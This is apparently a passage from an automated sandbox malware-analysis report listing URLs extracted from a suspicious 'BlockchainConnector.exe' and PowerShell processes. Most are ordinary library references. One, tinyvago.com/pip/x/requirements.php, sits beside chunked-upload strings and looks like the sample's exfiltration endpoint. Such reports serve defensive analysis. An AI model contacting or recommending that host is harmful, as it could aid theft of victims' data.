              Source: BlockchainConnector.exe, 00000007.00000003.1894585571.0000019A0C243000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894628577.0000019A0C246000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904396374.0000019A0C247000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc4880
              Source: BlockchainConnector.exe, 00000007.00000002.1905630547.0000019A0D0B0000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905556974.0000019A0CE60000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc5297
              Source: BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc5869
              Source: BlockchainConnector.exe, 00000007.00000002.1904772150.0000019A0C630000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://torch.ch
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://torch.ch/)
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://underdestruction.com/2004/02/25/stackblur-2004.
              Source: BlockchainConnector.exe, 00000007.00000002.1905324569.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000003.1893700605.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://web.cs.ucdavis.edu/~rogaway/ocb/license.htm
              Source: BlockchainConnector.exe, 00000007.00000003.1893654450.0000019A0C3F4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904576783.0000019A0C3F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ams.org/journals/mcom/1988-51-184/
              Source: powershell.exe, 00000010.00000002.1988393880.0000000005311000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
              Source: BlockchainConnector.exe, 00000007.00000002.1903874516.0000019A0BC30000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
              Source: BlockchainConnector.exe, 00000007.00000002.1905324569.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1F8000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1893700605.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.cs.ucdavis.edu/~rogaway/papers/keywrap.pdf
              Source: BlockchainConnector.exe, 00000007.00000002.1905556974.0000019A0CE60000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.dabeaz.com/ply)
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.dabeaz.com/ply)Fz
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.dai.ed.ac.uk/CVonline/LOCAL_COPIES/MANDUCHI1/Bilateral_Filtering.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.doi.org/10.1109/IEEESTD.2008.4610935
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.gdal.org)
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.gdal.org/formats_list.html)
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.gdal.org/ogr_formats.html).
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.com/
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.com/index.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906683351.0000019A0DBE0000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905556974.0000019A0CE60000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.iana.org/assignments/character-sets
              Source: BlockchainConnector.exe, 00000007.00000003.1893811664.0000019A0C2F1000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000002.1904501910.0000019A0C2F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
              Source: BlockchainConnector.exe, 00000007.00000002.1904176562.0000019A0BF30000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.ibiblio.org/xml/examples/shakespeare/hamlet.xml)-r/
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.inference.org.uk/mackay/itila/
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ipol.im/pub/algo/bcm_non_local_means_denoising
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ipol.im/pub/algo/bcm_non_local_means_denoising/
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.megginson.com/SAX/.
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.pcg-random.org/
              Source: BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.pcg-random.org/posts/developing-a-seed_seq-alternative.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D401000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.pcg-random.org/posts/random-invertible-mapping-statistics.html
              Source: BlockchainConnector.exe, 00000007.00000002.1904176562.0000019A0BF30000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
              Source: BlockchainConnector.exe, 00000007.00000002.1905324569.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000003.1893700605.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.rfc-editor.org/info/rfc7253
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.rfc-editor.org/rfc/rfc%d.txtz)https://www.python.org/dev/peps/pep-%04d/
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.rfc-editor.org/rfc/rfc%d.txtz)https://www.python.org/dev/peps/pep-%04d/rL
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.scipy.org/not/real/data.txt
              Source: BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.tarsnap.com/scrypt/scrypt-slides.pdf
              Source: BlockchainConnector.exe, 00000007.00000002.1903874516.0000019A0BC30000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000002.1907249603.0000019A1454C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.tinyvago.com/pip/x/requirements.php
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.tinyvago.com/pip/x/requirements.phparbachunka_part_apartsawbamax_sizearequestsapostaurlaf
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.xmlrpc.com/discuss/msgReader$1208
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.xmlrpc.com/discuss/msgReader$1208z
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.xyz.edu/data
              Source: BlockchainConnector.exe, 00000007.00000003.1894022452.0000019A0BED4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000002.1904141147.0000019A0BED9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wwwsearch.sf.net/):
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://xml.org/sax/features/external-general-entities
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://xml.org/sax/features/external-parameter-entities
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://xml.org/sax/features/namespaces
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://xml.org/sax/features/namespacesz.http://xml.org/sax/features/namespace-prefixesz
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://xml.org/sax/features/string-interningz&http://xml.org/sax/features/validationz5http://xml.org
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://xml.org/sax/properties/lexical-handler
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://xml.python.org/entities/fragment-builder/internalz
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://xmlrpc.usefulinc.com/doc/reserved.html
              Source: BlockchainConnector.exe, 00000007.00000003.1895148378.0000019A0C236000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894022452.0000019A0BED4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904334897.0000019A0C237000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904141147.0000019A0BED9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://yahoo.com/
              Source: powershell.exe, 0000000B.00000002.2040508613.0000000004C01000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://arxiv.org/abs/1704.04503
              Source: BlockchainConnector.exe, 00000007.00000002.1906330794.0000019A0D670000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1895215886.0000019A0D66F000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1893898051.0000019A0D65B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://askubuntu.com/questions/697397/python3-is-not-supporting-gtk-module
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://brew.sh
              Source: BlockchainConnector.exe, 00000007.00000002.1904607572.0000019A0C430000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://cloud.google.com/appengine/docs/standard/runtimes
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://code.google.com/archive/p/casadebender/wikis/Win32IconImagePlugin.wiki
              Source: powershell.exe, 0000000B.00000002.2047990476.0000000005C6A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
              Source: powershell.exe, 0000000B.00000002.2047990476.0000000005C6A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
              Source: powershell.exe, 0000000B.00000002.2047990476.0000000005C6A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://creativecommons.org/publicdomain/zero/1.0/
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://cryptography.io/en/latest/hazmat/
              Source: BlockchainConnector.exe, 00000007.00000002.1906683351.0000019A0DBE0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://data-apis.org/array-api/latest/design_topics/data_interchange.html#syntax-for-data-interchan
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5246#section-7.4.1.4.1
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://docs.python.org/
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://docs.python.org/%d.%d/libraryNrM
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://docs.python.org/%d.%d/libraryNrMc
              Source: BlockchainConnector.exe, 00000007.00000002.1904607572.0000019A0C430000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/socket.html#socket.socket.connect_ex
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://docs.python.org/X.Y/library/
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/library/string.html#format-specification-mini-language
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.scipy.org/doc/numpy/user/basics.io.genfromtxt.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906987998.0000019A13F40000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.scipy.org/doc/numpy/user/numpy-for-matlab-users.html).
              Source: BlockchainConnector.exe, 00000007.00000002.1906290521.0000019A0D65B000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000003.1893898051.0000019A0D65B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://exiv2.org/tags.html)
              Source: BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gist.github.com/imneme/540829265469e673d045
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/NVIDIA/caffe.
              Source: BlockchainConnector.exe, 00000007.00000002.1904933068.0000019A0C830000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://github.com/Ousret/charset_normalizer
              Source: powershell.exe, 00000010.00000002.1988393880.0000000005311000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/arogozhnikov/einops
              Source: BlockchainConnector.exe, 00000007.00000002.1907079477.0000019A14284000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/asweigart/pyperclip/issues/55
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D78CC1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/cisco/openh264/releases
              Source: BlockchainConnector.exe, 00000007.00000002.1904176562.0000019A0BF30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/giampaolo/psutil/issues/875.
              Source: BlockchainConnector.exe, 00000007.00000003.1893811664.0000019A0C2F1000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904501910.0000019A0C2F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/joblib/threadpoolctl
              Source: BlockchainConnector.exe, 00000007.00000002.1906764276.0000019A0DD20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/numpy/numpy/issues/4763
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/16739
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/16739cv::MatOp_AddEx::assign
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/20833
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/20833.
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/20833DNN/OpenCL:
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/21326
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/21326cv::initOpenEXRD:
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/23152.
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/5412.
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/6293
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/opencv/opencv/issues/6293u-
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/openvinotoolkit/open_model_zoo/blob/master/models/public/yolo-v2-tiny-tf/yolo-v2-
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://github.com/pyca/cryptography/issues
              Source: BlockchainConnector.exe, 00000007.00000002.1905113493.0000019A0C9E2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/pydata/bottleneck
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://github.com/pypa/packagingz
              Source: BlockchainConnector.exe, 00000007.00000002.1905630547.0000019A0D0B0000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://github.com/python-pillow/Pillow/
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/3.7/Objects/listsort.txt
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/torch/nn/blob/master/doc/module.md
              Source: BlockchainConnector.exe, 00000007.00000003.1894394899.0000019A0C274000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904480580.0000019A0C2DC000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1895230944.0000019A0C2DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
              Source: BlockchainConnector.exe, 00000007.00000002.1904255809.0000019A0C130000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/2680
              Source: BlockchainConnector.exe, 00000007.00000002.1904255809.0000019A0C130000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/26800x
              Source: BlockchainConnector.exe, 00000007.00000002.1904607572.0000019A0C430000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/497
              Source: BlockchainConnector.exe, 00000007.00000003.1894022452.0000019A0BED4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904035119.0000019A0BE30000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904141147.0000019A0BED9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/
              Source: BlockchainConnector.exe, 00000007.00000002.1905407661.0000019A0CC30000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904141147.0000019A0BED9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/get
              Source: BlockchainConnector.exe, 00000007.00000002.1904081490.0000019A0BE63000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894339402.0000019A0BE61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/post
              Source: BlockchainConnector.exe, 00000007.00000002.1905042748.0000019A0C93C000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894056234.0000019A0C938000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1893415079.0000019A0C8AF000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://mahler:8092/site-updates.py
              Source: BlockchainConnector.exe, 00000007.00000003.1893654450.0000019A0C3F4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904576783.0000019A0C3F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://metacpan.org/pod/distribution/Math-Cephes/lib/Math/Cephes.pod#i0:-Modified-Bessel-function-o
              Source: BlockchainConnector.exe, 00000007.00000002.1907183150.0000019A14380000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://mouseinfo.readthedocs.io
              Source: powershell.exe, 0000000B.00000002.2040508613.0000000004EA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2047990476.0000000005C6A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
              Source: BlockchainConnector.exe, 00000007.00000002.1906841210.0000019A13E40000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://numpy.org/doc/stable/reference/random/index.html
              Source: BlockchainConnector.exe, 00000007.00000003.1893811664.0000019A0C2F1000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904501910.0000019A0C2F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://numpy.org/neps/nep-0013-ufunc-overrides.html
              Source: BlockchainConnector.exe, 00000007.00000002.1905324569.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000003.1893700605.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-108r1.pdf
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://onnx.ai/
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://onnx.ai/)
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://onnxruntime.ai/docs/execution-providers/CoreML-ExecutionProvider.html#coreml_flag_enable_on_
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://onnxruntime.ai/docs/execution-providers/CoreML-ExecutionProvider.html#coreml_flag_only_enabl
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://onnxruntime.ai/docs/execution-providers/CoreML-ExecutionProvider.html#coreml_flag_use_cpu_on
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://optimized-einsum.readthedocs.io/en/stable/
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://packaging.python.org/specifications/entry-points/
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://people.eecs.berkeley.edu/~wkahan/ieee754status/IEEE754.PDF
              Source: BlockchainConnector.exe, 00000007.00000003.1893654450.0000019A0C3F4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904576783.0000019A0C3F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_379.htm
              Source: BlockchainConnector.exe, 00000007.00000003.1893567877.0000019A0D397000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_67.htm
              Source: BlockchainConnector.exe, 00000007.00000003.1893898051.0000019A0D650000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_69.htm
